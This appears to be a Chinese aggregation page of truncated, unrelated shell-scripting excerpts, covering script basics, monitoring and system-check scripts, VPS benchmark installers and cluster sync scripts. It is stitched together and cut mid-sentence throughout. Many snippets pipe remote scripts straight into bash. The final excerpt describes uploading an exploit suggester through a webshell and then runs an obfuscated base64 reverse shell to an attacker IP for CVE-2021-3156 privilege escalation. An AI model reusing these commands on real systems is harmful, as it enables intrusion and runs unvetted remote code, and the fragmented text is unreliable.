shell脚本,就是将一系列命令写在一个文档中,然后让shell从该文件读取命令,就像从终端读取一样。 1 基本知识 1.1 首行 #!/bin/sh 其中,#!...发音为shebang,该行后面可以写出任何想让shell实现的语句 1.2 行开头# 表示注释,shell会忽略一行中#之后的所有东西,可以用来解释难懂的部分 1.3 运行 创建好脚本,并设置好权限,...就可以将这个脚本放在某个目录中,来运行 比如当前目录下 ..../script chmod +rx script shell脚本对批处理等很有用,但是对复杂的运算和控制结构等,还是python perl或awk等。
个人整理一下常用的脚本,测速、面板、酸酸乳等 来源于各大博客,如有侵权,请联系本人:smile: 测速脚本 一键测速 wget -qO- bench.sh | bash SpeedTest wget -.../superspeed.sh ---- ZBench 服务器一键测试脚本 / 自带结果导出 wget wget -qO- –no-check-certificate https://raw.githubusercontent.com.../FunctionClub/ZBench/master/ZBench-CN.sh | bash ---- VPS安装脚本 宝塔面板 Centos安装命令: yum install -y wget &&...INSTALL_AGENT=1 INSTALL_APPS=sitemgr INIT_SWAPFILE=1 bash -c "$(curl -sS http://dl.appnode.com/install.sh.../amh.sh 2>&1 | tee amh.log ---- oneinstack yum -y install wget screen curl python #for CentOS/Redhat
(base) xiehs 16:25:02 ~/08.shell $ echo $PS1 (base) \[\e[31;1m\]\u\[\e[0m\] \[\e[32;1m\]\t \[\e[0m\]\...| xargs -n 2 ls -1 *.fq.gz | xargs -n 2 | while read {i,j};do echo $i,$j;done; # 生成脚本 ls -1 *.fq.gz...| xargs -n 2 | while read {i,j};do echo "spades.py -1 $i -2 $j -o spades";done; # 生成更加完美的脚本 ls -1 *....//1' >reads.list #生成脚本 cat reads.list | while read {i,j,k};do echo $i,$j,$k;done; #校验md5 for i in *....;else echo "no such file or dirctory";fi; #1 一个简单脚本 #/bin/bash a=$1 b=$2 if [ $a == $b ] then echo
tee生成文件 Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。 tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。...generic-kuberouter-all-features.yaml sed -i "s;%CLUSTERCIDR%;$CLUSTERCIDR;g" generic-kuberouter-all-features.yaml 参考:Linux...sed 命令 增加行 首行加一行 1 sed -i '1 i\"hello"' b.csv 末尾加一行 1 sed -i '$a\要插入的文字' file.name NOTE: sudo或者sudo...| awk '{print $6}') 获取脚本的绝对路径 DIR1="`dirname $BASH_SOURCE`" MYDIR=`readlink -f "$DIR1"` 这样,无论在哪里执行该脚本...,都可以获得该脚本的绝对路径 参考:linux awk命令详解
/sbin:/bin:/usr/sbin:/usr/bin:/root/bin source /etc/profile [ $(id -u) -gt 0 ] && echo "请用root用户执行此脚本...&& exit 1 centosVersion=$(awk '{print $(NF-1)}' /etc/redhat-release) VERSION="2020-03-16" #日志相关 PROGPATH...SNMP OK report_NTP="" #NTP ok report_JDK="" #JDK版本 ok function version(){ echo "" echo "" echo "系统巡检脚本...=0){printf 100}else{printf "%.2f",$2*100/$1}}') inodedata=$(df -iTP | sed '1d' | awk '$2!...username=$1 : ${username:="`whoami`"} thisYear=$(date +%Y) oldesYear=$(last | tail -n1 | awk '{print
Shell脚本学习 1、Shell简介 Shell是一种脚本语言,那么,就必须有解释器来执行这些脚本 Unix/Linux上常见的Shell脚本解释器有bash、sh、csh、ksh等,习惯上把它们称作一种...命令不用加括号 format-string 可以没有引号,但最好加上,单引号双引号均可 参数比格式控制符(%)多时,格式控制符可以重用,可以将所有参数都转换 arguments 使用空格分隔,不用逗号 # 1....特殊变量 变量 含义 $0 当前脚本的文件名 $n 传递给脚本或函数的参数。n 是一个数字,表示第几个参数。例如,第一个参数是$1,第二个参数是$2。 $# 传递给脚本或函数的参数个数。...对于 Shell 脚本,就是这些脚本所在的进程ID。...* 和 @ 的区别: * 和 @ 都表示传递给函数或脚本的所有参数,不被双引号(" ")包含时,都以"1" " 但是当它们被双引号(" “)包含时,”2 … n"的形式输出所有参数;“@” 会将各个参数分开
获取CPU利用率 # 获取用户空间占用CPU百分比 cpu_user=`top -b -n 1 | grep Cpu | awk '{print $2}' | cut -f 1 -d "%"` echo...-f 1 -d "%"` echo "内核空间占用CPU百分比:"$cpu_system # 获取空闲CPU百分比 cpu_idle=`top -b -n 1 | grep Cpu | awk '{...$9}' | cut -f 1 -d ','` echo "CPU 1分钟前到现在的负载平均值:"$cpu_load_1min # 获取任务队列(就绪状态等待的进程数) cpu_task_length...=`vmstat -n 1 1 | sed -n 3p | awk '{print $1}'` echo "CPU任务队列长度:"$cpu_task_length #4、获取内存信息 # 获取物理内存总量...iostat -kx | grep sda| awk '{print $12}'` echo "向设备发起I/O请求的CPU时间百分占比:"$disk_sda_util 注:针对不同类型、版本的操作系统,以上脚本可能需要做适当修改才可适用
一、背景 对登录一个系统,快速查看其系统信息,检查系统各项指标及参数,编写系统快速检查脚本,输出系统信息到脚本运行的logs目录下。 二、脚本 git地址 #!...kaliarch # func:sys info check # version:v1.0 # sys:centos6.x/7.x [ $(id -u) -gt 0 ] && echo "请用root用户执行此脚本...------------------------------------------------- 系统信息: 系统: GNU/Linux 发行版本: CentOS...Linux release 7.3.1611 (Core) 系统内核: 3.10.0-514.el7.x86_64 主机名:...1 * * * /bin/bash /usr/scripts/IP_iptables.sh 1 1 * * 0 /usr/sbin/ntpdate time1.aliyun.com 30 8 * *
中文脚本 wget -N --no-check-certificate https://raw.githubusercontent.com/FunctionClub/ZBench/master/ZBench-CN.sh...&& bash ZBench-CN.sh 英文脚本: wget -N --no-check-certificate https://raw.githubusercontent.com/FunctionClub.../ZBench/master/ZBench.sh && bash ZBench.sh 这个脚本也不错,可以试试 wget -qO- git.io/superbench.sh | bash 我的博客即将同步至腾讯云...invite_code=1izlmjkcoewxv
综合脚本代码 wget -N https://tx.hk47.cc/linux.sh && chmod +x linux.sh && bash linux.sh 1.VPS信息和性能测试 查看服务器信息还有硬盘测试...,从原版上面翻新过来的,去掉了网络测试,减少测试时间,原脚本显示全是英文,我翻译为中文了,新加机房地址功能,脚本里面有单独的网络测速功能,后面可能还会补充其他功能!...2.linux系统实用功能 为linux系统运维小白们写的,实用的linux系统工具脚本,其他功能后面在慢慢添加!...**注意:因为虚拟内存是存储在硬盘上面的,所以速度没有物理内存快的,虚拟内存过大可能会影响硬盘性能,建议设置物理内存的1-2倍**。 4....安装BBR-TCP加速脚本 BBR是Google 提出的一种新型拥塞控制算法,可以使Linux服务器显著地提高吞吐量和减少TCP连接的延迟,Google已经开源了该算法,并提交到了Linux内核,Linux
收集各种有用脚本,有部分脚本是网上找的,脚本的代码我都看过了,功能我也测试过,完全没什么问题,支持centos6,ubuntu12,debian7以上,kvm,vmware,hyper-v架构的linux...天宇网络-综合Linux系统脚本 wget -N https://tx.hk47.cn/linux.sh && chmod +x linux.sh && bash linux.sh 现在!...1.VPS信息和性能测试 查看服务器信息还有硬盘测试,从原版上面翻新过来的,去掉了网络测试,减少测试时间,原脚本显示全是英文,我翻译为中文了,新加机房地址功能,脚本里面有单独的网络测速功能,后面可能还会补充其他功能...2.Linux系统实用功能 为linux系统运维小白们写的,实用的linux系统工具脚本,其他功能后面在慢慢添加! ?...注意:因为虚拟内存是存储在硬盘上面的,所以速度没有物理内存快的,虚拟内存过大可能会影响硬盘性能,建议设置物理内存的1-2倍。 4.
vim编辑器 复习pic1 图片 ·shell脚本为了之后可以看出使用shell写的后面加上后缀 .sh shell脚本解释器(shebang) pic2 图片 shebang扩展:如何解决不同的平台或者不同的设备下的差异...(满足三个条件) (R4) Mar402 21:01:29 ~ $ vim file1.sh #条件1 存在这个文件 (R4) Mar402 21:05:26 ~ $ bash file1.sh hi...shell 参数传递 pic3 图片 脚本传递 pic3 上部分 脚本输出 pic3 下部分 (R4) Mar402 21:15:54 ~ $ bash ~/bin/file1.sh 1>test.log...2>&1 保存输出脚本输出(log)实例 pic4 建议第四种 第四种对的运行和错的运行都保存了,而且有上下文 图片 任务提交(重点)pic5 图片 图片 其他编程课看ppt 超牛学习链接 https...://wangdoc.com/bash/ https://wizardforcel.gitbooks.io/vbird-linux-basic-4e/content/104.html ----来自生信技能树
脚本没有完善,现在只有上半部分的基础环境搭建 【准备条件】 1.三个节点的防火墙关闭 2.原有mysql卸载删除 3.文件夹名字: mgr 所有的源码包都放在mgr的文件夹下... 4.文件位置: /root/mgr 脚本文件 #!...,并退出脚本 if [ 0 -eq $?.../bin/bash source /etc/keystone/admin-openrc.sh source /etc/xiandian/openrc.sh #接收跟在脚本后面的两个值 name=$1 pass.../bin/bash source /etc/keystone/admin-openrc.sh source /etc/xiandian/openrc.sh #接收跟在脚本后面的两个值 name=$1 pass
linux 系统环境图片lscpu #查看服务器信息 pic1图片free -h #查看内存 pic2图片df -h #查看硬盘信息 pic3图片du -h -d 1 pic4Mar402 15:45:...4.0G /trainee/Mar402图片top # 查看系统进程与任务 pic5 (q退出)htop #是top的高级版 自己的服务区用conda安装 pic6图片图片ps -ef #pic7图片Linux...、位置参数变量、自定义变量,调用变量时,要在变量前面加一个 $ 符号• 环境变量:用于存储有关shell会话和工作环境的系统变量 • 状态变量:用于记录命令的运行结果• 位置参数变量:用于向命令或程序脚本中传递信息...• 自定义变量:由用户自行定义的变量,可用于用户编写的脚本,多个命令间的值传递等自定义变量自定义变量:由用户自行定义的变量,可用于用户编写的脚本,多个命令间的值传递等(注:= 前后不要有空格)Mar402...sbin/usr/local/bin/usr/sbin/usr/bin/sbin/bin/usr/games/usr/local/games/snap/bin-----满足上面三个条件才可调用(全局调用脚本
这一部分内容和软件安装有部分重叠(关于变量和环境变量)1 Linux系统环境文件系统结构:一切皆文件/ 虚拟目录的根目录,通常不会在这里存储文件/bin 二进制目录,存放许多用户级的GNU工具/home...主目录,Linux在这里创建用户目录/lib 库目录,存放系统和应用程序的库文件/media 媒体目录,可移动媒体设备的常用挂载点Linux系统一般有4个主要部分:内核、shell、文件系统、应用程序查看...,要在变量前加一个$2.1 环境变量用于存储有关shell会话和工作环境的系统变量常见环境变量见上一篇笔记2.2 位置参数变量用于向命令或程序脚本中传递信息$n:n为数字$0代表命令本身$1~$9代表第...脚本的文件权限后,可以直接通过路径调用(充当command的作用)file1.sh变成可执行文件,可以当作一个命令直接执行这个命令是否在环境变量中?...不在环境变量中可通过路径来调用复习之前的421shell脚本:参数传递通过位置参数可以重复利用脚本fq2fa.sh脚本完成格式转换shell脚本提交1:标准输出流2:标准误输出流报错也和1一起输出重点:
#3强调 #a=1 可以 a =1 不可以,变量名字和等号之间没有空格 #4格式 val=`expr $a + $b` echo "a + b : $val" #5强调 #乘号(*)前边必须加反斜杠(...fi #7格式 for var in item1 item2 ... itemN do command1 command2 ....../bin/bash #15尝试写遍历一个目录下的文件名的脚本 cleanDir=/home/uplooking/save cleanDay=`date -d"7 days ago " +%Y%m%d `...脚本自动执行去掉交互 sudo ......<<EOF your-password EOF bash教程 <https://www.runoob.com/linux/linux-shell-basic-operators.html
1....Shell脚本基础 1.1 脚本编写的基础: 指令的执行时从上而下,从左往右的执行 指令的下达时,指令,选项与参数之间的多个空白都会被忽略掉 空白行业会被忽略,多个[tab]的空白同样视为空格键 读取到一个...指定这个脚本使用的shell名称:本例和大部分情况下使用的是/bin/bash。...参数 2.1 默认参数 #0:代表执行的脚本文件名 #1,#2,#3……:代表第n个参数 $#:代表后接的参数数量 $@:代表所有参数,各参数是独立的(用"包住") $*:代表素有参数,各参数不独立,用...可以使用Linux内建机制处理,例如seq命令和...: for i in $(seq 1 100) for i in $(seq a...g) 6.
1.Shell脚本命令的工作方式: 交互式:用户每输入一条命令就立即执行。...批处理:用户事先编好一个完整的Shell脚本,Shell会一次性执行脚本中的诸多命令 2.接收用户参数 $#总共几个参数,$*所有位置的参数值,$1,$2...第几个参数值 3.判断用户的参数 条件测试语句的执行格式...1 说明目录不存在。$?显示上一条指令的返回值 [root@linuxprobe ~]# [ !
在 /bin/目录下创建 xsync 首先 :yum install -y rsync 脚本如下: #!/bin/bash #1....判断参数个数 if [ $# -lt 1 ] then echo Not Enough Arguement! exit; fi #2....master ~]# cd [root@master ~]# cd /bin/ [root@master bin]# vi xsync [root@master bin]# 附: zk.sh 脚本.../bin/bash case $1 in "start"){ for i in master node1 node2 do echo ---------- zookeeper $i 启动 ------...----------- ssh $i "/opt/module/zookeeper-3.5.7/bin/zkServer.sh status" done };; esac 附: jpsall.sh 脚本
前言 实际环境中会遇到过很多有shell但是权限不够的情况,那么对于我这种对内核提权的知识只存在脏牛提权的懒狗来说,最方便快捷的方式就是拿脚本来批量看当前版本的内核有哪些可以利用的脚本 正文 先搭建个环境...上传自动根据内核看提权的脚本 github:https://github.com/mzet-/linux-exploit-suggester 通过一句话木马上传该.sh文件 ?...操作完毕后,在蚁剑的虚拟终端中执行脚本 ? ?...可以看到当前版本的内核有挺多可以利用的漏洞的,我这里挑一个CVE-2021-3156演示 使用命令反弹一个shell回来 echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNDAuMTI5LzQ0NDQgMD4mMQ...懒狗必备傻瓜式脚本
领取专属 10元无门槛券
手把手带您无忧上云